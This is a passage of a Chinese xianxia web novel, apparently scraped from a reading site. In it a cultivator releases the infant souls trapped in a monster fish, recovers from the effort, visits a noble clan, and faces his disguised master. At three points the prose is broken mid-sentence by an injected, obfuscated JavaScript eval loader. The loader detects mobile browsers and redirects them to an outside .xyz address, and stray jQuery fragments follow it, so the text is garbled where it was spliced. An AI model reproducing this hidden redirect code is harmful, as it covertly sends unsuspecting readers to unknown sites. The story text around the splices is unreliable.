“不要乱来。”丛明雪右眼皮跳了几下,有种不好的预感。 这妖兽身上的孽障近乎实质化,不知吞噬了多少婴孩才到了如今这般地步。 就算是他这个修为和实力,在那些孽障和因果之下也只能将其击杀,其余的只能硬生生背负,姜洛玉能有什么办法? “我没有乱来,我只是……想试试。”姜洛玉眼中划过诡异的光,“江兄,我的功法玄妙异常。虽说这鱼块头大了点,修为高了点,但它没有脑子,或许可以一试。” “不过这鱼怎会提前苏醒?” 丛明雪沉默片刻,道:“或许和苗道友身上吸取气运的禁术有关。” 姜洛玉:“……?” 见姜洛玉脸上的疑惑太过明显,丛明雪继续道:“是我的疏忽,解开禁术的过程需要七天七夜,在此期间苗道友会变得……非常倒霉。” “远航号上的修士,除了从不出现的船长修为在炼虚中期,其余都在化神之下。苗道友又是练气修士,杜绝了一般都潜在威胁,就会酝酿出更大的危机。” 就是这危机太大了些,他本以为来的最多是合体期的妖兽,没想到居然是这条让人头疼的鱼。 姜洛玉好半天才找回自己的声音:“你是说,这鱼苏醒这么早……和我们有关系?” 丛明雪点头:“这哭婴万眼鱼虽然没有脑子,但它能记住气息。这一船都是它的猎物,如果猎物逃离,等到猎物再度回归猎场,它依旧会选择追杀。” “除非我们再也不出现在归云海之上,又或是将其杀死,否则将永远摆脱不了它。” 姜洛玉沉默一会儿,认真道:“那就更要试试了,既然已经沾染因果,又何惧因果?” “如今远航号上虽有能抵御大乘修士攻击的阵法,但归云海是妖修妖兽的地盘,优势永远在它们。哭婴万眼鱼如今不攻击,或许是在想办法削弱阵法。有办法不尽快行动,会死更多人。” 他唤出玄衣剑,道:“江兄,你去救甲板上幸存的那些人,我去会会这鱼。” 丛明雪不知道该如何劝阻,他承认姜洛玉修习的功法确实玄妙,但金丹修士对上大乘期的妖物,简直是天方夜谭。 姜洛玉看见对面人眼里明显的不赞同,笑道:“江兄,你不会不相信我吧?” 丛明雪不相信,但他最终点了点头:“好,我先行一步。” 这次危机与他有关,合该他去解决。但姜洛玉想试,那就随他去吧。 总归失败了,他也能保下这一船人的性命。 见丛明雪不再拦着自己,姜洛玉先是深吸一口气,接着向船头移动。 哭婴万眼鱼就在船头前方的海里,此刻它不知为何闭上了眼睛,这给姜洛玉的前进减少了许多压力。 黄色的雾气淡了许多,除了前方清晰得诡异的大鱼,站在甲板的人能够看清十米开外的东西,不再是伸手不见五指的状态。 苗真探出船舱,看见姜洛玉远去的背影,喊道:“沈道友,我这儿……哎呀你快回来!” “少主,我们还是先走为妙。”李角按住想站到甲板上的少年,“那东西人多了,属下无法保证传送地点。” “别和本少主废话!”苗真白了李角一眼。 李角严肃道:“少主,为了一个萍水相逢的修士,您怎么能置自己的安危于不顾!” 苗真:“什么萍水相逢,沈道友他明明……” 明明什么呢? 苗真又想起母亲那年对他说过的话——让他自行结丹。可这么多年过去,他依旧是个练气修士。 母亲的身影和姜洛玉的身影逐渐重合,苗真被自己的想法吓了一跳,没想太多果断跳出甲板:“要你管!” “少主!”李角只抓到了苗真的衣角。 不,不应该。 少主只有练气修为,又没打开法宝,怎么会……李角转过头,对上了一只脑袋大小的黄色眼球。 “救命——!” 呼救声擦着他耳边掠过,姜洛玉循声看去,看见了被几只眼球簇拥着飞向天际的红衣少年。 糟了,把这个倒霉蛋忘了。 “诛魔!”姜洛玉把玄衣剑丢了出去,浩然正气环绕着飞剑形成庄严古朴的金色虚影。 长剑刺在眼球上没留下半分伤口,只是让眼球分散了一下视线,运送少年的动作也有了一刻停顿。 一瞬的时间,就足够姜洛玉拿出具有攻击性又不至于把苗真也炸开的法宝。他丢出驱邪符纸,巴掌大的符纸主动飞向空中的眼球。 眼球沾上符纸,爆发尖细的婴孩哭声,萎缩成拳头大小的褐色肉球,葡萄般黏在一起,滴滴答答流下了灰褐色的脓水。 苗真被熏得一阵干呕,“哕”了几下,奋力扒着脖子上的眼球:“救、救命……” 一道符纸只灭了一半儿眼球,好在姜洛玉手里还有几张。保命的家伙事儿他从来不嫌多,毕竟小命只有一条,渡劫的机会只有一次,历练得到的经验少了些又何妨? 现在看来,他真是有先见之明。 第二道符纸落下,不出须臾,苗真就落了下来。 姜洛玉飞身上前,把人捞到地面,打开能抵御渡劫修士的结界灵宝丢到苗真怀里,又扔给他一堆极品灵石维持结界,叮嘱道:“不许乱跑,再乱跑我也救不了你。” 苗真惊魂未定地坐在船板上,刚点了个头,面前的人就没了踪迹。 “哎呦——道友你轻点扔!” 苗真又被突然出现的一串儿修士吓了一跳,抬头看见冷着脸的丛明雪,战战兢兢问道:“江前辈你……” 丛明雪划开结界,把甲板上搜罗到的修士和凡人都塞了进去。好在那些眼球对这些明显成年的人类没什么兴趣,他们之中受伤最严重的还是个扭了脚的水手。 他转身离开前想起了什么,对着苗真威胁道:“不该说的别说。” 苗真挤在角落里连连点头,连丛明雪说的是什么也没听明白。 姜洛玉越向着哭婴万眼鱼前进,雾气就越浓,浓郁程度让他开着结界也觉得窒息。 他还用无相球附着在结界上,理论上能让他和雾气融为一体,不被哭婴万眼鱼发现。 走了一会儿,发觉确实没东西注意自己,姜洛玉加快速度,很快到了目的地。 他跳到船舷上,打量着怪鱼的身体,上面的肉臃肿而虚软,鼓鼓囊囊挤在远航号的船体上。 姜洛玉闭上眼,把手掌贴到了怪鱼的皮肤上,撤去结界。 他感受到了滑腻、温热还有……浓浓的悲伤。 伴随着《太一万法无相诀》的运行,姜洛玉看见了断断续续的记忆。 他松了一口气,原本还担心哭婴万眼鱼“没有脑子”,连识海也一并没了。 好在它没有违背妖修的常规,还有储存记忆的识海,就是储存记忆的地方小了点。 哭婴万眼鱼漫长的一生,只有短短五段记忆。 第一段是它的诞生。 它诞生于不见天光的泥潭,泥潭生在一处悬崖下,里面埋葬了许多不知名的骸骨。 第二段是它的成长。 哭婴万眼鱼很快就靠着泥潭里的虫蚁长到了小臂长度,它小小的脑子在灵气滋润下逐渐生出模糊的灵智。 它想,我得出去看看。 可它的资质太差了,连灵气都吸收不了多少,又该如何修炼? 第三段记忆。 哭婴万眼鱼某天听见了一声婴孩的哭啼,那哭声嘹亮、铿锵有力。它第一次听见这样的声音,不知道是什么发出来的,于是破开污泥循着声音游去。 “滚开,哪来的死鱼!没看见老子忙着吗?!” 它被人打飞出去,五脏六腑卷在一起,疼得在泥潭里打滚。 但是它看见了,发出声音的是个一团绵软的东西。“它”的身上很白,眼睛很黑,脑袋浸在泥水里,没一会儿就失去了声响。 等到伤害它的气息远去,哭婴万眼鱼挣扎着爬到那东西身边,摆着尾巴将泥潭里的肉虫递到“它”的嘴边。 哭婴万眼鱼想,“它”一定是饿了才不“说话”的。 三天之后,“它”还是没有吃掉那根肉虫。 哭婴万眼鱼意识到——“它”死了。 第四段记忆。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14687003|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哭婴万眼鱼盘踞在婴孩的尸身旁边边,上面的血肉日复一日的减少,不是腐烂,而是凭空消失一般。 哭婴万眼鱼里的身体却越长越大,脑子也越来越清明。 当它第一次意识到自己是条鱼的时候,哭婴万眼鱼花了三年的时间,将只剩下稚嫩骨架的灵骨啃食得一干二净。 劫云汇聚,哭婴万眼鱼在雷声中化形了。 第五段记忆。 哭婴万眼鱼化形成了七八岁的男孩儿。 姜洛玉终于蹙了蹙眉,这和记载的不一样,记载里明明说哭婴万眼鱼从未化形…… 他意识到记载并非全然可信,如果这哭婴万眼鱼一直未化形,又是如何吸食婴孩魂魄血肉进阶? 一条鱼堂而皇之的作恶,早就被人收拾了。 比起这个,姜洛玉更相信自己买到了假书。 记忆继续,七八岁的男孩儿游走在修真界各洲之间,面容呆板。 遇到被人遗弃的婴孩,他总会先将他们抱起,之后再傻笑着将他们连带魂魄吃进肚子。 就这样,哭婴万眼鱼靠着吞食婴孩,一路修炼到了化神初期才被人发现。 只是因为他吞食了云泽洲一个世家的孩子。那孩子已经三岁了,并不符合婴孩的标准。 但那孩子却有着和当初婴孩一样的灵骨。 哭婴万眼鱼想,他得带“它”回家。 那么多的孩子都在他身体里团聚,没有病痛,没有伤害,“它”也要回家,回到他的身体里。 他钻了结界空子,吃了那孩子,被追杀到了归云海边。 哭婴万眼鱼最后看了一眼陆地,如鱼入水般跳进海里。 第六段记忆。 看起来似乎是哭婴万眼鱼失去灵智和人形前最后的记忆,他的手已经变成了鱼鳍。 他在海底的石头上用歪歪斜斜的字体刻画着——“我好像、错了,他们说……我不该吃、吃掉他们。” “他们会在我的身体里永世不得超生,而……不是团、团聚。” 记忆结束,现实里只过了不到一息,《太一万法无相诀》无缝衔接运转到极致,姜洛玉霎时化作婴孩的模样。 哭婴万眼鱼合上的眼睛睁开一瞬,又迅速紧闭。 足有两艘远航号叠在一起的怪鱼不再发出婴孩似的哭喊,而是发出了“呼噜呼噜”的嗡鸣。 姜洛玉操控着婴孩的身体,让整个人都趴在了哭婴万眼鱼身上,肉乎乎的手在它身上拍来拍去。 嗡鸣声逐渐变成了人言,声音稚嫩——“对、对不起……” “放他们走吧。” “不、不得超生。” “我有办法。”姜洛玉用意念传递着他的想法,“我会让你身体里的所有怨魂,都有个好结果。” “我发誓。” 被黄雾笼罩的天空传来一声带着法则力量的闷雷。 多少年了? 哭婴万眼鱼思考着。 起码……有两千年了,没人愿意靠近他,他也一直在屠戮别人。他不愿意被人杀死,因为这样,他身体里的孩子就没“家”了。 他是罪魁祸首,也是盛放这些婴孩魂魄的容器。 如果有人贸然将他杀死,这些婴孩也会随之死亡。这才是孽障和因果转移的真相,可没人能让他清醒,没人能知道真相如何。 就算他主动放了这些怨魂,又有谁来超度他们?他潜意识里也不会让这些婴孩迎来第二次死亡。 “我同意。” 哭婴万眼鱼再度睁开所有眼睛,海面上的黄色雾气随之散去,众人这才得以看见哭婴万眼鱼的全貌——漆黑臃肿的身躯上布满了秘密麻麻的眼球。 在他的召唤下,所有眼球都飞了回去,被符咒灼烧的眼球也恢复了生机,全都飘回了哭婴万眼鱼身上。 丛明雪站在恢复少年面貌的姜洛玉身后,静静看着这荒诞诡异的一幕。 姜洛玉搬出小山一般的极品灵石全力吸收,确认自己恢复到了最佳状态,对着哭婴万眼鱼点头道:“开始吧。” 话毕,哭婴万眼鱼身上的所有眼球一并发出尖锐的哭喊! 18.穿越第十八天 哭声爆发后,远航号的船体开始剧烈晃动,十几丈的海浪拍打在好不容易开启的结界上。 高衡被巨浪里的悲鸣震得一阵恍惚,横着刀疤的脸上表情痛苦。他立马封闭五感,待到余韵过去才重新掌控了船舵。 他是远航号的船长,在归云海上往返于各洲之间已经几百年了,从来没出过差错。 直到今天……他的船碰见了哭婴万眼鱼。 可如今根本不在哭婴万眼鱼百年一次的狩猎期,这东西为何会冒着被身上万鬼反扑的风险从沉睡中苏醒? 只有新的祭品才能抚平哭婴万眼鱼身上那些婴孩怨魂的怒气,让他们为它所用,所以哭婴万眼鱼每一百年就会狩猎一艘载着婴孩的船只。 总有人以为自己是特殊的那一个,也总有人不得不带着婴孩横渡归云海,以至于哭婴万眼鱼的祭品从未断绝。 高衡不知道哭婴万眼鱼为何苏醒,他只知道自己要做的,是尽全力保下这一船的修士。 太难了,方才他根本没察觉到哭婴万眼鱼的靠近。等他发现时,黄雾就淹没了船体,他甚至无法打开结界。 远航号就被困在了它的领域里。 大乘妖兽设下的领域,从内部极难攻破,更何况满船里只有他一个炼虚期的修士,几乎是必死的结局。 高衡看向船头的庞然大物,不禁露出一丝苦笑——也许他昨天应该拒绝那个抱着孩子的人上船。 没了孩子,哭婴万眼鱼就不会将远航号当作狩猎对象。 可孩子又有什么错呢? 如今哭婴万眼鱼突然撤去领域,无论是进攻前的酝酿或是其他,对他来说都是个机会。 高衡握着船舵狂笑三声,肌肉贲张,对着张开全部眼睛的哭婴万眼鱼喝道:“来,让我见识见识你的实力——!” 远航号船尾出现轰隆一声巨响,高衡身后的甲板向两侧分裂,一架三人高的大炮缓缓升起。 高衡肉疼地从储物戒里掏出五块儿拳头大小的黑色晶体,一股脑放进药室。这大炮配合上这十万年的极品玄影石,打出去的能量炮弹能使大乘期的妖兽负伤,是他能在归云海上平安往返这么多年的本钱。 他这远航号隶属于归云商会,商会每年都会按时向九大霸主缴纳船只保护费,就连哭婴万眼鱼所在的海域,归云商会也会找到实际的“霸主”一并上交。 这样一来,加入归云商会的船只,往返于海上就不会受到海里妖兽的侵扰。 当然也有前提,前提是那些船只不会主动招惹海里的妖兽。 钓些小鱼小虾无伤大雅,若是真的惹毛了那些修为高的,苦头还得自己咽下。 大炮高衡只用过三次,每次都是海里那些妖兽主动撞上来“碰瓷”,这次……大概是最后一次使用。 如果哭婴万眼鱼能被这东西打伤,他会趁着它受伤的瞬间开启远航号的第二形态,张开船翼,以最快的速度飞到空中去,向远处逃离。 远航号只能进行一次这样极限的飞行,停下后就会解体。 高衡咬着牙摸上了大炮的开关—— “不用了。” 丛明雪按住高衡的手,淡淡道:“我们有办法解决哭婴万眼鱼。” 高衡用力的手怎么也按不下去,他猛地意识到,这个按住自己的金丹修为少年,应该是什么老怪物伪装的。 船头,确认丛明雪已经去控制最大的变量。姜洛玉恰了几个法诀,周身一轻,隐约有通天之感。 他迅速割开手腕,流下的鲜血变成拇指大小的莹润血珠,飞向天空吸收着天地灵气。 他说自己有办法自然不是忽悠人,而是他真的会超度的法术。 虽说是在仙界学的,但刚才天道誓言的成立,说明他在此界引天地之力施行往生术的想法确实可行,不然天道早就在他发誓的时候就劈他了。 学这法术的时候,他刚入药辛殿不久,还没能适应异世生活。百般无赖之下也不敢四处寻求什么刺激,只好在修炼之余在正殿前的池塘边钓鱼,用的还是直钩。 偶尔碰上几个傻的真的咬钩,就多看两眼再放回去。 过了一段日子,当他再度吊起池中一条红白配色的锦鲤时,那锦鲤尾巴一甩,落到岸边变成了光头和尚。 和尚端得个眉目清正,手持莲子制作而成的佛珠,对着他行了个合十礼,道:“阿弥陀佛,幸得道友仁心相助,小僧得以证道。” 姜洛玉:“……” 他钓上来鱼不杀,纯粹是因为锦鲤不好吃。 那和尚临走前留下个往生术,说是答谢。姜洛玉学完之后还觉得这东西过于鸡肋,不知道什么时候才能用上,如今倒是解了燃眉之急。 空中的血珠不断膨胀变色,最后变成了金灿灿的圆珠。 姜洛玉双手快速掐诀,黑眸透出金光,唇瓣翕张,吐出一连串辨别不出内容的梵音。 天地在梵音下发出了空灵的回响,圆珠炸成朵朵金莲,花瓣层层叠叠堆砌在一起,几乎是一眨眼就消失在空中。 不是消失。 丛明雪将视线转移到哭婴万眼鱼身,他能感受到那些金莲散落成了肉眼无法观察的、更小的莲花,飞进了哭婴万眼鱼的眼球里。 每一枚眼球都是一个婴孩的魂魄,灌注了梵音的莲花进入后,魂魄被安抚,澄黄的眼球不再发出似有若无的哭喊。 丛明雪听见了笑声,于是又看向立在船头的姜洛玉。 青年紧闭着双眼,口中念念有词,双手依旧在不断掐着复杂的法诀,幻化出来的少年样貌消失了一干二净。 丛明雪在那张明艳的脸上,竟然看出了几分宝相庄严。 沉思片刻,丛明雪也跟着拔高身形,幻化出一副端正的青年模样。 随着时间流逝,姜洛玉的脸色越来越白,额头也冒出了细密的汗珠。 苗真早就从结界里出来了,见状紧张兮兮道:“沈……沈前辈不会有事吧?” 李角:“既然沈道友已经立下天道誓言,应该没有问题。” 虽然他也不知道为何一个金丹修士能超度万鬼,但总比大家被鱼吞了好的多。 高衡安置好伤员,来到船头见到姜洛玉的举动,眼中划过精光。 这些人究竟是什么身份,和他没有关系。他需要做的,只有管好他的船。 第二天,朝阳在海平线上绽放出第一缕金光,姜洛玉终于停下了动作。 连续念了一万多遍往生术,姜洛玉头晕眼花,和天地之间的联系又陡然切断,脚步虚浮向后倒去。 “小心。” 带着几分熟悉的声音传来,有人托住了他的背,显然不是少年人的。 姜洛玉还以为丛明雪终于放弃挣扎恢复本体,扭头对上的却是一张中规中矩的脸。 属于修真界修士的平均颜值,修为还是元婴中期。 姜洛玉:“……” 低头看了看自己,姜洛玉一阵无语,原来是他的马甲先一步掉了。 “江兄?”他试探着问道。 丛明雪点头:“抱歉,那时我负伤在身,恢复少年模样恢复得快些。” 姜洛玉“哈哈”笑了两声,扶着丛明雪的胳膊站稳:“我也骗了江兄,咱们两个扯平了。” “还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14699946|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 先继续超度吧。” 丛明雪:“别逞强。” 姜洛玉笑而不语,走向哭婴万眼鱼。 “和他们道个别吧。”他摸了摸哭婴万眼鱼冰凉的身体。 哭婴万眼鱼发出几声哭啼,庞大的身子晃了晃,最终闭上了眼睛。 金光从眼球上逸散开来,伴随着太阳彻底升起,哭婴万眼鱼身上的眼睛消失了。它的身体越来越小,最后变成了正常鲶鱼大小,随风散落在海水里。 “它……死了?”苗真扒着李角的肩膀,不敢向船外看去。 “死得渣都不剩。”姜洛玉打了个哈欠,“这鱼既是怨魂的容器,也是对那些怨魂的束缚。” “冤冤相报,也算是个解脱。” 他还想说什么,天旋地转后,世界一片漆黑。 “主人,主人!快醒醒啊主人!” 什么东西? 姜洛玉挠了挠脖子,把上面乱跳的东西扔了出去。东西脱手后,他才意识到,自己好像丢的是无相球。 猛地睁开眼,鲤鱼打挺般坐起,姜洛玉捧住无相球惊喜道:“无相你终于能说话了!” 无相球“嘤”了几声,声音如同三岁稚童,还有点磕巴:“主、主人,多亏了这些日子,神君衣不解带地照顾你,我、我才能吸收神君魂魄逸散出来的能量,恢复……力量。” 姜洛玉揉了揉脑袋,打量着天子间内毫无变化的装饰,问道:“我昏了多久?” 无相球:“半年。” 姜洛玉:“……” 也就是说,他们马上就要到云泽洲了? “咔哒”声从门口传来,姜洛玉条件反射把无相球塞回丹田,对着来人露出个笑:“江兄,我睡了多久?” 丛明雪刚去指点完苗真一塌糊涂的剑法,回来想要把姜洛玉移动到甲板上等待下船,没想到人已经醒了。 “半年。”他关上房门,坐到床榻边,“你那日脱力后陷入昏睡,无人查出原因,又没有其他症状,船长说只能等你自行苏醒。” 事实是,引天地之力会消耗三魂七魄的魂力,就算姜洛玉的魂魄属于上界仙魂,但在下界修为过低,受限又过大。凭一人之力超度数量如此庞大的怨魂太过逞强,过后只能慢慢蕴养。 丛明雪只能看出来姜洛玉魂力有损。这半年里,每天雷打不动地给姜洛玉灌下各种养魂的灵药,才让蕴养的速度加快。 姜洛玉能察觉到身体里被灵药蕴养的痕迹,感激道:“大恩不言谢,多谢江兄照顾。之前多有得罪……那些都是玩笑话罢了。” 丛明雪摇头:“无事,总归你我此行目的地相同,结伴进入秘境未尝不可。” 两人没再闲聊,姜洛玉坐在床上吸收灵气运转几个周天,舒展完筋骨,和丛明雪一道去了甲板。 远航号马上就要靠岸了。 刚站到甲板,雪白的云团就扑了过来,姜洛玉新奇地张开双臂抓了抓,留住了一团雾气似的云朵。 他看向天际落下的一朵又一朵白云,抱着云团吸了一口,鼻腔瞬间盈满清香的气息。 这就是云泽洲吗?好像……还不赖。 苗真看见熟悉的玄衣身影,跑过去激动道:“沈前辈,你终于醒了!你和江前辈一定要去我外祖家做客啊!” “我要好好答谢前辈!” 姜洛玉松开云团,问道:“你外祖家是?” 苗真拍了拍胸脯:“云泽王氏,云泽洲最大的修仙世家。” “最大”吗? 零碎的信息终于串联起来,姜洛玉发现,那哭婴万眼鱼当年吞噬的,就是云泽王氏的孩子。 19.穿越第十九天 云泽洲叫得上名字的修仙世家一共有四家——王、周、朱、许。 其中又属王家人才辈出,隔上几百年就会出现个单灵根的天才。 姜洛玉在马车上隔了老远,就能瞧见王家主脉府邸阔气的大门,门上长着獠牙的兽首栩栩如生,似活物一般。 下车之后,他看见兽首的眼睛转了转,在他身上一扫而过。 “沈大哥,那是王家的守护兽。”苗真小声嘀咕着,“守护兽前辈只是在确认你们对王家有没有恶意。” 姜洛玉了然点头,这东西听起来比扫描仪好用。 守护兽扫到抱着长剑的丛明雪时,目光一滞,随即立马移开视线。 看门护卫确认苗真递来的令牌无疑,又等到守护兽确认完毕,这才堆上满脸的笑:“少爷您终于回来了,家主等您好长时间了!” “母亲在哪儿等我?”苗真问了一嘴。 护卫:“家主听说您带了友人回来,在会客厅等着呢。” 姜洛玉心里“咯噔”一下,想起自己还没把功法对苗真的影响撤下。掐诀撤去,见苗真看向自己的眼神不再带着孺慕,这才放心下来。 再怎么用功法模仿,终究比不上本人。到时候见了王家主,苗真自然能分得清真假,岂不是直接露馅? 在苗真的带领下,众人穿过蜿蜒曲折的游廊,又途经几处庭院,还有数座居室。脚下的石板路上布满青苔,姜洛玉踩着滑溜溜的。 到了会客厅,他一眼便看清主位上身着华丽襦裙的美艳女子。记忆里他看不太清女子的样貌,这样一看,苗真的长相果然随了他母亲,两人站在一起就能看出血缘关系。 “娘我回来了!”苗真先一步踏入会客厅,行礼后站到女子身边,“这二位就是我结识的友人,要是没有沈大哥,您就看不到我了。” 姜洛玉跟在苗真之后行了礼,不卑不亢道:“拜见真君,晚辈叨扰了。” 丛明雪也行了礼,道:“拜见真君。” 金禾真君敲了敲扶手,对面的青年和留影石里见过的影像重叠,朱唇轻启:“不敢当,本君还要多谢姜小友救了我那不成器的儿子。” 苗真“诶”了一声,正奇怪母亲为何把脸对着姜洛玉而不是丛明雪,就听见了下一句话。 “仙尊弟子……果然名不虚传。” 苗真:“……!” 沈大哥是仙尊弟子? 苗真瞪大了眼睛,既然姓“姜”,那就是近些日子在太极洲闹得沸沸扬扬的——“残害同门”又自废修为的二弟子本人! 可他怎么这么快就重修回金丹了? 苗真满脸复杂,天正宗贴出“姜洛玉是受妖物控制”的解释大多数人是相信的,只有少部分人不信。 苗真就是那个不信的,但现在……他的信念动摇了。 若是姜洛玉真如传言一般心思恶毒、张扬跋扈,喜欢用仙尊弟子的身份仗势欺人,那他根本不会救下自己。 毕竟他们见面第一天,他就口出狂言得罪了姜洛玉。 而且天正宗自从开宗立派起,一旦门中弟子真的犯下十恶不赦之事,绝不会因弟子的身份包庇。 就连某一任掌门犯下错事,天正宗都要昭告天下,没道理因为姜洛玉是仙尊弟子就包庇他。 药辛仙尊更是铁面无私,斩杀堕入邪道的同门师兄弟毫不手软。 金禾真君拿出放谢礼的储物戒:“这些心意还望两位收下,全当是答谢了。” 姜洛玉没有碰飘过来的储物戒,开始睁眼说瞎话:“真君说笑了,令郎聪敏过人,就算晚辈不去搭救,令郎也不会命丧妖兽之口。” 开玩笑,他不救的话,苗真必死无疑。不过苗真要是没遇到他们,或许根本不会被哭婴万眼鱼注意到。 丛明雪也没碰。 金禾真君笑了几声,支着脑袋靠在把手上:“小友不必自谦,本君知道我这儿子的脾性。他不冒犯你们已经是收敛了,更别提和两位做了朋友。” “想必这一路二位深受其害,你们不收下这谢礼,本君良心不安啊。” 苗真臊得脸都红了,扯了扯金禾真君的袖子:“娘你别说了……我已经道歉了,而且沈、姜大哥他们都原谅我了。” 话说到这份儿上,姜洛玉也不好再推辞,收下了储物戒。 丛明雪也跟着收下。 “舟车劳顿,两位小友用膳后去歇息吧。”金禾真君坐直了身子,“本君还有些体己话要和真儿说说。” 姜洛玉:“那晚辈先行告退。” 丛明雪点了点头。 “二位请——”李角引着两人离开会客厅,满室的肃穆被关在门后。 姜洛玉回头看了看,被池塘水面折射的金光晃了眼。 李角带着两人来到一处幽静雅致的庭院,询问道:“两位道友可喜欢此类居所?” 姜洛玉神识飞进去扫了一遍:“挺不错的,就这儿吧。哦,江兄同我住在一处就好。” 丛明雪默不作声。 李角:“二位自便即可,晚膳一会儿差人送过来。” “家主托我告诉两位——三清秘境开启在即,她实在是无法抽身宴请二位,过后一定补上。这几日就先让少主带二位在长平城好好游玩一番。” 姜洛玉:“真君言重了,自然是正事要紧。” 李角行礼后离开庭院,姜洛玉先和丛明雪先是选了卧房,又吃了灵食,最后相对而坐。 “江兄,你没什么想问的吗?”姜洛玉托着下巴,“比如我的身份,又或者是……关于我的传言?” 丛明雪:“没什么想问的。” 姜洛玉眨眨眼:“可是我有问题。” 说罢起身走到丛明雪身边,凑到他面前,轻声说:“师尊,你不会认为自己的演技……真的很好吧?” 无聊的扮演游戏结束了。 温热的吐息近在咫尺,丛明雪冷静黑给姜洛玉套了个定身术。 姜洛玉:“……” 他一动也不能动,只能看着丛明雪将移动到他两米开外的距离,才解开他身上的法术。 失算,虽然想法有些不要脸,但他刚才应该亲一口的。 相比于野葱的本体,姜洛玉一直觉得丛明雪更像温吞的蜗牛,戳一戳动一下,不戳只会按照自己的方法行事。 但是也不能把人逼急了,不然容易让“蜗牛”缩回壳里。 再一次见到那张熟悉的脸,前世种种不受控制地在脑子里过了一遍。就连仙界的记忆也蹦出来凑热闹,姜洛玉顿感神魂剧痛,弓着身子蹲到地面。 “张口。” 丹药送到嘴边,姜洛玉吞下去缓了半天才能站起来。没心情再去调戏丛明雪,直接趴到床上睡了过去。 等到再次醒来,天已经黑透了,而他的床边坐着个一动不动的黑影。 “烛山。” 见丛明雪语气不善,姜洛玉一把扯住他衣角:“师尊你听我解释啊!” 丛明雪:“……” 他还什么也没说。 姜洛玉可不管丛明雪想说什么,这一世的记忆告诉他,每当丛明雪用这种严肃的语气喊他的名字,他就要被罚了。 丛明雪第一次罚他,是六岁那年。 他拔了掌门好不容易种的灵花。不仅拔了花,还把灵花喂给副掌门养的灵兽,导致灵兽精力过剩开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14712274|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满宗门乱飞,撞碎了一座山才停下。 他还趁机爬到灵兽身上跟着它一起飞,半路掉下去摔了一脸血,躺在坑里动都不能动。 本性使然,这种刺激又“好玩”的运动让灵智刚开的他喜欢得不得了,等丛明雪黑着脸找到他时,他甚至一脸无辜地想爬起来要抱抱。 丛明雪替他治了伤,问他这些事是不是他做的。 姜洛玉潜意识想着不能让丛明雪知道自己闯了祸,不然会被讨厌,梗着脖子说“不是”。 那一天,他的屁股被揍开了花。 此后每次他犯了什么错,流程都是一样的。丛明雪先十分严肃地喊出他的名字,接着就是问罪,然后就是惩罚措施。 姜洛玉过了遍记忆,终于回过味来。 他就说这一世的记忆怎么熟悉里又透着诡异——他觉醒前的作为分明像个降智的恶毒男配!就连配置也像是个能被随时炮灰的角色。 这“仙道劫”到底是在渡什么东西? “你在船上用的法术,从何处学来的?” 开局王炸,姜洛玉沉思片刻,回道:“师尊,如果我说是在梦里和一条秃头的锦鲤学来的,您信吗?” 丛明雪微微蹙眉,伸手掐住姜洛玉的手腕,小心地将灵力送进去探查一番。 没有异常。 冷笑话没被当事人之一理解,姜洛玉耷拉着脑袋,虚弱道:“师尊别问了,你就当我做梦学来的罢了。” 丛明雪叹了一口气,抚上姜洛玉的后背,为他输送灵力安抚神魂上的疼痛,道:“我只是担心你。” 担心姜洛玉是不是受了蒙骗,才会用这等危险的术法。 他知道姜洛玉身上有了他也无从得知的秘密,可前提是这些秘密不会置姜洛玉于危险之中。 如果这些东西的存在威胁了姜洛玉的生命,他绝对不会坐视不理。 “我不能说。”姜洛玉半梦半醒,“我能说的,师尊又不想听。在船上我刚开了个头,您就跑开了。” 不信什么? 丛明雪动作一滞,恍惚间看见姜洛玉竟然穿着里衣站在自己对面,神色凄惶,唇瓣一开一合在说着什么。 他竭力分辨着,最终看清了那句话——“老师,您还是不愿意见我吗?” “师尊、师尊?” 姜洛玉打开照明法宝,戳了戳丛明雪的大腿,问道:“您想听吗?想听我就开始说了,这回可不许跑。” 丛明雪猛地回神,抓住了姜洛玉作乱的手。 力度之大让姜洛玉不禁“嘶”了一下:“疼……师尊您不听就不听,怎么还动手啊?” “没有不愿意见你。” 姜洛玉:“……?” 这都什么跟什么。 丛明雪放开姜洛玉,沉默着坐到床榻边,拿出药膏抹在他已经青紫的手腕上,抿了抿唇:“抱歉,想起了一些往事。” 淡绿色的药膏很凉,涂上之后微微发热,姜洛玉“哦”了一声。 一时无言。 过了好半天,等到药膏被完全吸收后,丛明雪才听见床上的人开口。 “师尊,你能不能别再躲着我了。” 那声音闷闷的,带着浓浓的鼻音,还有一丝说不清道不明的委屈。 丛明雪伸手,接住了一滴滚烫的泪。 